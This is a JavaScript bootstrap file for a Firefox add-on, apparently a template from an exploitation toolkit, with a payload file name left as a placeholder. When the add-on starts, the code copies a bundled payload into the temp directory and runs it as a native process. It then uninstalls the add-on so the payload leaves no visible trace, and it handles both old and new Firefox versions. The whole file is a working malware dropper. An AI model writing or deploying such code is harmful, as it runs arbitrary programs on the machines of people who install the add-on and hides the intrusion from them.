30 lines
1.3 KiB
JavaScript
30 lines
1.3 KiB
JavaScript
|
|
function startup(data, reason) {
|
|
var file = Components.classes["@mozilla.org/file/directory_service;1"].
|
|
getService(Components.interfaces.nsIProperties).
|
|
get("ProfD", Components.interfaces.nsIFile);
|
|
file.append("extensions");
|
|
xpi_guid="{861fb387-92ce-bb0a-cb48-4b923dbc292b}";payload_name="__payload_placeholder__";
|
|
file.append(xpi_guid);
|
|
file.append(payload_name);
|
|
var tmp = Components.classes["@mozilla.org/file/directory_service;1"].
|
|
getService(Components.interfaces.nsIProperties).
|
|
get("TmpD", Components.interfaces.nsIFile);
|
|
tmp.append(payload_name);
|
|
tmp.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 0666);
|
|
file.copyTo(tmp.parent, tmp.leafName);
|
|
|
|
var process=Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess);
|
|
process.init(tmp);
|
|
process.run(false,[],0);
|
|
|
|
try { // Fx < 4.0
|
|
Components.classes["@mozilla.org/extensions/manager;1"].getService(Components.interfaces.nsIExtensionManager).uninstallItem(xpi_guid);
|
|
} catch (e) {}
|
|
try { // Fx 4.0 and later
|
|
Components.utils.import("resource://gre/modules/AddonManager.jsm");
|
|
AddonManager.getAddonByID(xpi_guid, function(addon) {
|
|
addon.uninstall();
|
|
});
|
|
} catch (e) {}
|
|
} |